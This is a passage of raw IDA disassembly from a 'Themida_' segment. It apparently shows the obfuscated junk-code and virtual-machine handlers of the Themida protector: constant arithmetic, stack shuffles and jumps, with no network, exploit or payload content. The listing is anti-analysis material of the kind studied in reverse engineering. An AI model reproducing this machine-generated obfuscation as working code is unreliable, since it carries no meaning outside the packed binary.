; ---------------------------------------------------------------------------


loc_5608F7:				; CODE XREF: Themida_:00557851j
		add	esp, 4
		sub	edi, 23568D0Fh
		sub	eax, 5AD01B53h
		sub	eax, edi
		add	eax, 5AD01B53h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55F148
; ---------------------------------------------------------------------------


loc_56091D:				; CODE XREF: Themida_:00559B00j
		mov	[esp], edx
		mov	dl, 55h
		sub	dl, 30h
		add	dl, 0E6h
		mov	bl, dl
		jmp	loc_55A25D
; ---------------------------------------------------------------------------


loc_56092F:				; CODE XREF: Themida_:0056378Aj
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 594E7051h
		sub	ebx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A0F9
; ---------------------------------------------------------------------------
		push	edx
		push	14BDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D59F
; ---------------------------------------------------------------------------


loc_56096C:				; CODE XREF: Themida_:0055AD22j
		mov	dh, 0C4h
		sub	dh, cl
		jmp	loc_5606E4
; ---------------------------------------------------------------------------


loc_560975:				; CODE XREF: Themida_:0055683Aj
		push	eax
		mov	eax, 5D9A216Fh
		neg	eax
		add	eax, 117F1363h
		and	eax, 7AA133BEh
		and	eax, 2C819B2h
		xor	eax, 18167EE3h
		mov	ebp, eax
		jmp	loc_559769
; ---------------------------------------------------------------------------


loc_560998:				; CODE XREF: Themida_:0055F3B9j
		mov	ebx, 5E9B32F4h
		xor	edi, ebx
		pop	ebx
		push	edx
		mov	edx, edi
		mov	esi, edx
		pop	edx
		pop	edi
		sub	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], si
		mov	si, 0D2B2h
		xor	ax, si
		mov	si, [esp]
		add	esp, 2
		jmp	loc_552D11
; ---------------------------------------------------------------------------


loc_5609F0:				; CODE XREF: Themida_:00564410j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_555C6D
; ---------------------------------------------------------------------------


loc_560A07:				; CODE XREF: Themida_:00553ECBj
		xor	eax, [esp]
		jmp	loc_561C08
; ---------------------------------------------------------------------------


loc_560A0F:				; CODE XREF: Themida_:0055EF19j
		mov	ch, bh
		mov	dh, ch
		jmp	loc_557CC7
; ---------------------------------------------------------------------------


loc_560A18:				; CODE XREF: Themida_:0055C7D1j
		push	edx
		push	39BC1650h
		pop	edx
		sub	edx, 25E4CBF5h
		mov	esi, edx
		pop	edx
		jmp	loc_552251
; ---------------------------------------------------------------------------


loc_560A2D:				; CODE XREF: Themida_:00562536j
		pop	eax
		add	esi, ecx
		pop	ecx
		push	6C4Eh
		mov	[esp], edi
		push	ebx
		jmp	loc_55DC4D
; ---------------------------------------------------------------------------


loc_560A3F:				; CODE XREF: Themida_:0055F34Ej
		mov	esp, [esp]
		push	ebx
		jmp	loc_55ECC3
; ---------------------------------------------------------------------------


loc_560A48:				; CODE XREF: Themida_:00551804j
		mov	eax, 4
		sub	edi, 419E05EDh
		add	edi, eax
		add	edi, 419E05EDh
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5587D1
; ---------------------------------------------------------------------------


loc_560A66:				; CODE XREF: Themida_:0055E0CCj
		push	7425h
		mov	[esp], eax
		mov	al, 0D5h
		sub	al, 0A3h
		or	ch, al
		pop	eax
		xor	ch, 0BEh
		xor	ch, 0E3h
		xor	bl, ch
		pop	ecx
		jmp	loc_55E80C
; ---------------------------------------------------------------------------


loc_560A83:				; CODE XREF: Themida_:00562848j
		mov	bh, 0CCh
		jmp	loc_55BA45
; ---------------------------------------------------------------------------


loc_560A8A:				; CODE XREF: Themida_:0055B307j
		pop	ebx
		jmp	loc_55E739
; ---------------------------------------------------------------------------


loc_560A90:				; CODE XREF: Themida_:0055CDCDj
		xor	eax, 2A00964h
		sub	esi, 3E582B83h
		push	ebp
		mov	ebp, 758E1132h
		jmp	loc_55F894
; ---------------------------------------------------------------------------


loc_560AA6:				; CODE XREF: Themida_:0055558Dj
		sub	cl, ah
		jmp	loc_5618F5
; ---------------------------------------------------------------------------


loc_560AAD:				; CODE XREF: Themida_:00554C86j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_554D20
; ---------------------------------------------------------------------------


loc_560AC2:				; CODE XREF: Themida_:0055FF70j
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55798A
; ---------------------------------------------------------------------------


loc_560AD9:				; CODE XREF: Themida_:0056445Cj
		pop	ecx
		jmp	loc_557924
; ---------------------------------------------------------------------------


loc_560ADF:				; CODE XREF: Themida_:005618E0j
		mov	ebx, 467F27EEh
		xor	ebx, 3DE33A68h
		inc	ebx
		and	ebx, 75750F09h
		add	ebx, 1
		or	ebx, 2DA915BBh
		jmp	loc_5638FD
; ---------------------------------------------------------------------------


loc_560AFF:				; CODE XREF: Themida_:0056522Aj
		push	ecx
		mov	ecx, 0DEC5D56h
		shr	ecx, 6
		xor	ecx, 664BF372h
		and	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55F6E4
; ---------------------------------------------------------------------------


loc_560B18:				; CODE XREF: Themida_:005598FDj
		shr	eax, 8
		jmp	loc_559667
; ---------------------------------------------------------------------------


loc_560B20:				; CODE XREF: Themida_:00551AD6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7398h
		mov	[esp], edi
		push	esi
		push	4B7Dh
		jmp	loc_557F25
; ---------------------------------------------------------------------------


loc_560B3A:				; CODE XREF: Themida_:00550B1Ej
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 2FD33BF8h
		and	eax, 3D604B14h
		and	eax, 0A6976A7h
		shl	eax, 2
		add	eax, 4DA548A5h
		push	esi
		mov	esi, eax
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		neg	ecx
		add	ecx, 11CE7F33h
		xor	ecx, 0A3292E8Ch
		add	edx, ecx
		jmp	loc_55ADF2
; ---------------------------------------------------------------------------


loc_560B7C:				; CODE XREF: Themida_:0055768Bj
		sub	edi, eax
		jmp	loc_55A6B8
; ---------------------------------------------------------------------------


loc_560B83:				; CODE XREF: Themida_:0055EEA2j
		push	esp
		jmp	loc_5593E2
; ---------------------------------------------------------------------------


loc_560B89:				; CODE XREF: Themida_:00554B6Bj
		mov	eax, [esp]
		jmp	loc_56104B
; ---------------------------------------------------------------------------


loc_560B91:				; CODE XREF: Themida_:00557257j
		add	esp, 4
		sub	al, 4
		sub	al, 0ECh
		add	al, bl
		add	al, 0ECh
		add	al, 4
		pop	bx
		sub	esp, 4
		mov	[esp], esi
		push	6E0Ch
		mov	[esp], esp
		jmp	loc_552E37
; ---------------------------------------------------------------------------


loc_560BB6:				; CODE XREF: Themida_:00554F20j
		mov	[esp], edx
		jmp	loc_560F14
; ---------------------------------------------------------------------------


loc_560BBE:				; CODE XREF: Themida_:0055CAF6j
		add	al, 21h
		push	dword ptr [esp]
		jmp	loc_561705
; ---------------------------------------------------------------------------


loc_560BC8:				; CODE XREF: Themida_:005607A2j
		add	esp, 4
		add	cl, ah
		pop	ax
		push	eax
		jmp	loc_55046F
; ---------------------------------------------------------------------------


loc_560BD5:				; CODE XREF: Themida_:005563D4j
		add	ebx, 37965D73h
		push	edx
		jmp	loc_55261E
; ---------------------------------------------------------------------------


loc_560BE1:				; CODE XREF: Themida_:00551219j
		add	esp, 4
		xor	edi, 561B4608h
		sub	esp, 4
		mov	[esp], edi
		pop	ebp
		pop	edi
		push	eax
		mov	eax, 5E0814C2h
		shr	eax, 7
		shl	eax, 1
		xor	eax, 26A31FB9h
		sub	eax, 0F73CEE14h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_556362
; ---------------------------------------------------------------------------


loc_560C28:				; CODE XREF: Themida_:00550A03j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 7FEFFF6Bh
		jmp	loc_55BD81
; ---------------------------------------------------------------------------


loc_560C3D:				; CODE XREF: Themida_:00555019j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		inc	ch
		shl	ch, 7
		jmp	loc_557F9F
; ---------------------------------------------------------------------------


loc_560C50:				; CODE XREF: Themida_:00552720j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_560390
; ---------------------------------------------------------------------------


loc_560C65:				; CODE XREF: Themida_:0055AD4Dj
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_563C1C
; ---------------------------------------------------------------------------


loc_560C6E:				; CODE XREF: Themida_:005552D6j
		push	28D8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		mov	eax, 16E53B60h
		shr	eax, 7
		add	eax, 241F2E74h
		and	eax, 38AA59A2h
		shr	eax, 1
		sub	eax, 1
		sub	eax, 10042C4Ch
		add	ebp, eax
		pop	eax
		add	ebp, 4
		push	40D5h
		jmp	loc_55FFE6
; ---------------------------------------------------------------------------


loc_560CAD:				; CODE XREF: Themida_:00553514j
		pop	ecx
		push	edx
		jmp	loc_55CB10
; ---------------------------------------------------------------------------


loc_560CB4:				; CODE XREF: Themida_:00565ABFj
		sub	ebx, ebp
		jmp	loc_5540F0
; ---------------------------------------------------------------------------


loc_560CBB:				; CODE XREF: Themida_:0055CC1Aj
		add	ebx, 3EE21780h
		sub	ebx, ecx
		sub	ebx, 3EE21780h
		pop	ecx
		push	330Eh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5625B3
; ---------------------------------------------------------------------------


loc_560CDD:				; CODE XREF: Themida_:00554B65j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	24FCh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_552D55
; ---------------------------------------------------------------------------


loc_560CF8:				; CODE XREF: Themida_:00559C84j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_555D26
; ---------------------------------------------------------------------------


loc_560D21:				; CODE XREF: Themida_:0055CEB5j
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		push	edx
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		mov	ebx, edx
		pop	edx
		add	esi, 33A125B4h
		sub	esi, 597058FDh
		add	esi, ebx
		add	esi, 597058FDh
		sub	esi, 33A125B4h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55C2E2
; ---------------------------------------------------------------------------


loc_560D6A:				; CODE XREF: Themida_:00554670j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56437B
		sub	esp, 4
		jmp	loc_5658DC
; ---------------------------------------------------------------------------


loc_560D7C:				; CODE XREF: Themida_:0055A83Dj
		add	esp, 4
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55AEC8
; ---------------------------------------------------------------------------


loc_560D90:				; CODE XREF: Themida_:00561E0Fj
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_56491D
; ---------------------------------------------------------------------------


loc_560D99:				; CODE XREF: Themida_:00560530j
		add	eax, 4527EA55h
		add	edx, eax
		jmp	loc_55CEDE
; ---------------------------------------------------------------------------


loc_560DA5:				; CODE XREF: Themida_:005523A1j
		mov	esi, 7C302AA7h
		jmp	loc_5568BF
; ---------------------------------------------------------------------------


loc_560DAF:				; CODE XREF: Themida_:0055A94Bj
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_562BFC
; ---------------------------------------------------------------------------


loc_560DBB:				; CODE XREF: Themida_:00558794j
		dec	ebx
		jmp	loc_55EE76
; ---------------------------------------------------------------------------


loc_560DC1:				; CODE XREF: Themida_:005559B8j
		sub	esp, 4
		mov	[esp], ebp
		push	28F3h
		mov	[esp], edi
		push	668557E0h
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B31A
; ---------------------------------------------------------------------------


loc_560DF1:				; CODE XREF: Themida_:005584CCj
		push	dx
		mov	dh, 2Bh
		jmp	loc_5622E1
; ---------------------------------------------------------------------------


loc_560DFA:				; CODE XREF: Themida_:00555FECj
		add	edx, 0DCF05587h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 25CE58D4h
		add	ecx, esi
		add	ecx, 25CE58D4h
		pop	esi
		push	edx
		push	edi
		mov	edi, 4
		push	31A1h
		mov	[esp], edi
		xor	dword ptr [esp], 14B33A7Bh
		pop	edx
		xor	edx, 14B33A7Bh
		jmp	loc_5642A0
; ---------------------------------------------------------------------------


loc_560E39:				; CODE XREF: Themida_:00564128j
		add	ebp, 0B1FB0BA2h
		and	ebp, 2BE97C06h
		push	58D6h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 43A86EADh
		mov	edi, 354B20A4h
		xor	edi, eax
		pop	eax
		xor	edi, 34743FB7h
		and	ebp, edi
		jmp	loc_562186
; ---------------------------------------------------------------------------


loc_560E70:				; CODE XREF: Themida_:00562FE8j
		mov	ebx, 2C227FE4h
		add	ebx, 0E7049A12h
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		jmp	loc_55B024
; ---------------------------------------------------------------------------


loc_560E84:				; CODE XREF: Themida_:00556AC6j
		add	ebx, 1FF30B53h
		jmp	loc_561206
; ---------------------------------------------------------------------------


loc_560E8F:				; CODE XREF: Themida_:00561458j
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_55EC15
; ---------------------------------------------------------------------------


loc_560EAA:				; CODE XREF: Themida_:00550B90j
		push	edi
		push	esp
		pop	edi
		jmp	loc_564540
; ---------------------------------------------------------------------------


loc_560EB2:				; CODE XREF: Themida_:0055BDFCj
		push	ecx
		mov	ecx, 0A21AD6h
		add	eax, ecx
		pop	ecx
		sub	eax, 2EC333A1h
		add	eax, edx
		push	edi
		mov	edi, 34F305A3h
		and	edi, 39040E64h
		add	edi, 0E2372217h
		jmp	loc_557010
; ---------------------------------------------------------------------------


loc_560ED9:				; CODE XREF: Themida_:0055C532j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_558DF4
; ---------------------------------------------------------------------------


loc_560EE7:				; CODE XREF: Themida_:00563575j
		and	ecx, 4AB23CAFh
		push	esi
		mov	esi, 245B0875h
		add	ecx, esi
		pop	esi
		push	ecx
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_55F80B
; ---------------------------------------------------------------------------


loc_560F14:				; CODE XREF: Themida_:00560BB9j
		mov	edx, esp
		jmp	loc_55A373
; ---------------------------------------------------------------------------


loc_560F1B:				; CODE XREF: Themida_:0055F67Fj
		mov	edi, [esp]
		push	62E3h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 2B964049h
		push	ecx
		jmp	loc_5552B7
; ---------------------------------------------------------------------------


loc_560F43:				; CODE XREF: Themida_:0055DC31j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_561B59
		sub	esi, 8881EA3h
		add	esi, 381A1A6Ah
		add	esi, 5F724417h
		add	esi, 4D73CC0h
		push	edx
		mov	edx, 58BB15ACh
		add	esi, edx
		pop	edx
		add	esi, eax
		jmp	loc_55A555
; ---------------------------------------------------------------------------


loc_560F86:				; CODE XREF: Themida_:00559946j
		push	small 1245h
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_560F93:				; CODE XREF: Themida_:005577B0j
		mov	edx, 9C25A5BFh
		jmp	loc_55A838
; ---------------------------------------------------------------------------


loc_560F9D:				; CODE XREF: Themida_:0055ECA8j
		dec	ecx
		jmp	loc_563708
; ---------------------------------------------------------------------------


loc_560FA3:				; CODE XREF: Themida_:00553C7Ej
		push	108Ch
		mov	[esp], ebx
		push	4
		pop	ebx
		add	ebp, 0DE520D4h
		add	ebp, ebx
		jmp	loc_55C2B3
; ---------------------------------------------------------------------------


loc_560FBE:				; CODE XREF: Themida_:00555E82j
		mov	[esp], esi
		jmp	loc_55DB1D
; ---------------------------------------------------------------------------


loc_560FC6:				; CODE XREF: Themida_:00562D68j
		sub	esi, 3E222AF5h
		xor	ebx, esi
		pop	esi
		xor	edx, ebx
		pop	ebx
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 73AA1FC6h
		sub	eax, edx
		sub	eax, 73AA1FC6h
		jmp	loc_563F6A
; ---------------------------------------------------------------------------


loc_560FEB:				; CODE XREF: Themida_:00557CE7j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 46B3510h
		mov	ebp, esi
		pop	esi
		jmp	loc_55C294
; ---------------------------------------------------------------------------


loc_561009:				; CODE XREF: Themida_:005595B2j
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559BA1
; ---------------------------------------------------------------------------


loc_561015:				; CODE XREF: Themida_:00552EB2j
		and	ecx, 318A49CFh
		shr	ecx, 2
		jmp	loc_559902
; ---------------------------------------------------------------------------


loc_561023:				; CODE XREF: Themida_:0055FCB0j
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	55A4h
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, 79A333DEh
		jmp	loc_560791
; ---------------------------------------------------------------------------


loc_56104B:				; CODE XREF: Themida_:00560B8Cj
		add	esp, 4
		push	edx
		mov	dl, 66h
		sub	dl, 0C0h
		or	bh, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5550DB
; ---------------------------------------------------------------------------


loc_561067:				; CODE XREF: Themida_:00562AB3j
		mov	edi, 0FFFFFFFFh
		add	ebp, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_560284
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:0055E3F2j
		mov	edi, 674D5DEAh
		shr	edi, 2
		sub	edi, 19D35776h
		sub	esi, edi
		jmp	loc_565C0D
; ---------------------------------------------------------------------------


loc_561091:				; CODE XREF: Themida_:0055E5BCj
		or	eax, 32952516h
		shr	eax, 5
		jmp	loc_55D7E8
; ---------------------------------------------------------------------------


loc_56109E:				; CODE XREF: Themida_:0055A292j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5600CA
; ---------------------------------------------------------------------------


loc_5610B3:				; CODE XREF: Themida_:0055D59Aj
		sub	esi, 4
		jmp	loc_5642D0
; ---------------------------------------------------------------------------


loc_5610BE:				; CODE XREF: Themida_:0055681Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	dword ptr [esp+4], 36541276h
		add	[esp+4], ebp
		jmp	loc_56237C
; ---------------------------------------------------------------------------


loc_5610D9:				; CODE XREF: Themida_:0055C806j
		push	7894h
		mov	[esp], ecx
		mov	ecx, 4
		mov	ebx, ecx
		jmp	loc_562B2E
; ---------------------------------------------------------------------------


loc_5610ED:				; CODE XREF: Themida_:00552389j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jnz	loc_55469E
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	ebx
		jmp	loc_5532BA
; ---------------------------------------------------------------------------


loc_56110E:				; CODE XREF: Themida_:0055D0E2j
		mov	ebp, [esp]
		jmp	loc_561D61
; ---------------------------------------------------------------------------


loc_561116:				; CODE XREF: Themida_:005533B9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55E07C
; ---------------------------------------------------------------------------


loc_56112A:				; CODE XREF: Themida_:00557058j
		push	esi
		mov	esi, 7C040EDFh
		sub	esi, 7C040EDBh
		add	ebp, esi
		jmp	loc_55D29D
; ---------------------------------------------------------------------------


loc_56113D:				; CODE XREF: Themida_:00553219j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		and	edx, 6A292552h
		neg	edx
		sub	edx, 9FFEFBAAh
		jmp	loc_5579CE
; ---------------------------------------------------------------------------


loc_561155:				; CODE XREF: Themida_:00563F99j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	3BF3h
		mov	[esp], edi
		push	edx
		jmp	loc_55349F
; ---------------------------------------------------------------------------


loc_561168:				; CODE XREF: Themida_:0055211Bj
		push	edi
		mov	edi, 2E5F2B71h
		or	edx, edi
		jmp	loc_55A446
; ---------------------------------------------------------------------------


loc_561175:				; CODE XREF: Themida_:005561FDj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55B200
; ---------------------------------------------------------------------------


loc_5611A2:				; CODE XREF: Themida_:00557E81j
		pop	ecx
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_5595EA
; ---------------------------------------------------------------------------


loc_5611C0:				; CODE XREF: Themida_:00560421j
		push	ebx
		mov	ebx, 7CBE1E62h
		add	dword ptr [esp+4], 36502E1h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 36502E1h
		jmp	loc_557212
; ---------------------------------------------------------------------------


loc_5611DF:				; CODE XREF: Themida_:00559187j
		add	al, bl
		push	ecx
		mov	ch, 0CEh
		or	ch, 0D7h
		jmp	loc_55C345
; ---------------------------------------------------------------------------


loc_5611EC:				; CODE XREF: Themida_:0055E657j
		sub	bl, ah
		pop	eax
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5611FA:				; CODE XREF: Themida_:0055AFD2j
		mov	edx, 32D0478Bh
		sub	ecx, edx
		jmp	loc_5519C0
; ---------------------------------------------------------------------------


loc_561206:				; CODE XREF: Themida_:00560E8Aj
		inc	ebx
		jmp	loc_5571A1
; ---------------------------------------------------------------------------


loc_56120C:				; CODE XREF: Themida_:005632AFj
		push	3DA5h
		mov	[esp], ecx
		mov	ecx, esp
		push	307Bh
		mov	[esp], edx
		jmp	loc_55FFA3
; ---------------------------------------------------------------------------


loc_561223:				; CODE XREF: Themida_:00553112j
		inc	dword ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56122C:				; CODE XREF: Themida_:0055A473j
		sub	bl, 3Bh
		sub	bl, ch
		add	bl, 3Bh
		pop	cx
		add	bl, 68h
		sub	bl, al
		sub	bl, 68h
		push	ax
		jmp	loc_564EC7
; ---------------------------------------------------------------------------


loc_561245:				; CODE XREF: Themida_:00563C9Dj
		mov	esi, 613C0211h
		push	esi
		jmp	loc_562FED
; ---------------------------------------------------------------------------


loc_561250:				; CODE XREF: Themida_:0055AD45j
		xchg	esi, edx
		or	edx, 50AE241Fh
		push	eax
		mov	eax, 1
		sub	edx, eax
		pop	eax
		xor	edx, 8611AD8Dh
		jmp	loc_552D76
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	701Eh
		jmp	loc_563A81
; ---------------------------------------------------------------------------


loc_561279:				; CODE XREF: Themida_:00551685j
		shl	ebx, 4
		or	ebx, 1C8C07A9h
		add	ebx, 3CC70BB9h
		xor	esi, ebx
		jmp	loc_55532C
; ---------------------------------------------------------------------------


loc_56128F:				; CODE XREF: Themida_:0055B576j
		mov	eax, ecx
		pop	ecx
		shr	eax, 2
		dec	eax
		add	eax, 0EBA73C24h
		sub	esi, 70FD0CBFh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2D48297Bh
		add	esi, edx
		pop	edx
		add	esi, eax
		push	4636h
		mov	[esp], ebx
		mov	ebx, 0CA60595h
		xor	ebx, 1989082Ch
		jmp	loc_55D2DD
; ---------------------------------------------------------------------------


loc_5612CC:				; CODE XREF: Themida_:0055CB42j
		push	esi
		mov	esi, esp
		jmp	loc_55664C
; ---------------------------------------------------------------------------


loc_5612D4:				; CODE XREF: Themida_:00562EDCj
		sub	ecx, 70791973h
		add	ecx, esi
		add	ecx, 70791973h
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_560426
; ---------------------------------------------------------------------------


loc_5612F4:				; CODE XREF: Themida_:0055F1CFj
		sub	ebp, 140A96A2h
		sub	edi, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_55F137
; ---------------------------------------------------------------------------


loc_561325:				; CODE XREF: Themida_:00557E45j
		xor	ecx, edi
		pop	edi
		or	edx, ecx
		pop	ecx
		jmp	loc_558267
; ---------------------------------------------------------------------------


loc_561330:				; CODE XREF: Themida_:00558505j
		add	ebp, eax
		pop	eax
		add	ebp, edx
		sub	ebp, 91133F5h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_551D8C
; ---------------------------------------------------------------------------


loc_561346:				; CODE XREF: Themida_:00562394j
		mov	bh, ch
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	dx
		jmp	loc_557942
; ---------------------------------------------------------------------------


loc_561356:				; CODE XREF: Themida_:005653F8j
		pop	edx
		push	ebx
		mov	ebx, 52B32469h
		and	ebx, 57DA3CEBh
		sub	ebx, 20495731h
		sub	ebx, 6D6D7E7Dh
		jmp	loc_561DCA
; ---------------------------------------------------------------------------


loc_561374:				; CODE XREF: Themida_:0055E844j
		mov	ebx, 66786B6Dh
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 66786B6Dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_5531C1
; ---------------------------------------------------------------------------


loc_5613A3:				; CODE XREF: Themida_:00555604j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	0E62h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56159B
; ---------------------------------------------------------------------------


loc_5613C5:				; CODE XREF: Themida_:0055E83Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_55DA06
; ---------------------------------------------------------------------------


loc_5613E7:				; CODE XREF: Themida_:00562060j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5581DB
; ---------------------------------------------------------------------------


loc_5613FA:				; CODE XREF: Themida_:005616DEj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_551C51
; ---------------------------------------------------------------------------


loc_561409:				; CODE XREF: Themida_:0055C59Cj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		push	63B35B8Eh
		pop	edi
		push	esi
		push	edx
		push	4E91755Bh
		pop	edx
		add	edx, 0F2FCD075h
		mov	esi, edx
		pop	edx
		sub	edi, esi
		pop	esi
		or	edi, 157E6A25h
		jmp	loc_5522A2
; ---------------------------------------------------------------------------


loc_561435:				; CODE XREF: Themida_:00558CDEj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_560E8F
; ---------------------------------------------------------------------------


loc_56145D:				; CODE XREF: Themida_:0056049Bj
		pop	ebp
		push	44B8h
		mov	[esp], ebx
		push	eax
		mov	eax, 395A11D8h
		push	eax
		push	54C7617Bh
		pop	eax
		mov	ebx, 0D07E87CEh
		jmp	loc_55FBDD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55FD34
; ---------------------------------------------------------------------------


loc_561486:				; CODE XREF: Themida_:0056180Dj
		add	ebx, 4
		jmp	loc_554956
; ---------------------------------------------------------------------------


loc_561491:				; CODE XREF: Themida_:00556272j
		mov	edx, ebp
		jmp	loc_55BECF
